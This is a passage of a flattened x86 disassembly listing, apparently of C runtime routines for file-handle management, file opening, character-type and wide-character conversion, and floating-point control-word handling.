sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE44, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj call dword_427020 ; SetStdHandle loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD140 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD040h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE44, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej call dword_427020 ; SetStdHandle loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax call dword_42701C ; FlushFileBuffers test eax, eax jnz short loc_424125 call dword_427094 ; RtlGetLastWin32Error jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDE0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: .packed:00429020o mov eax, dword_4DD020 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD020, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD020, esi call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D568 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC01C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7E8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D578 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD040[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5D8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: .packed:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE1C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFAC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DBFF8, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDDC, 16h mov dword_4DBDE0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDE4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDE0, 0 mov dword_4DBDDC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_4270F8 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_424405 push esi call dword_427024 ; GetFileType test eax, eax jnz short loc_424419 push esi call dword_427070 ; CloseHandle loc_424405: ; CODE XREF: sub_42423B+1B6j call dword_427094 ; RtlGetLastWin32Error push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDE0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFB4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi call dword_427014 ; GetStringTypeW test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push ebx call dword_427018 ; GetStringTypeA test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFB4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE84 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_427018 ; GetStringTypeA jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_4270E8 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_4270E8 ; MultiByteToWideChar cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_427014 ; GetStringTypeW jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE84, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D084 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBE94 call dword_427188 ; WideCharToMultiByte test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE84, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE78 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42476C mov eax, dword_43D084 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBE94 call dword_4270E8 ; MultiByteToWideChar test eax, eax mov eax, dword_43D084 jnz short loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBE94 call dword_4270E8 ; MultiByteToWideChar test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 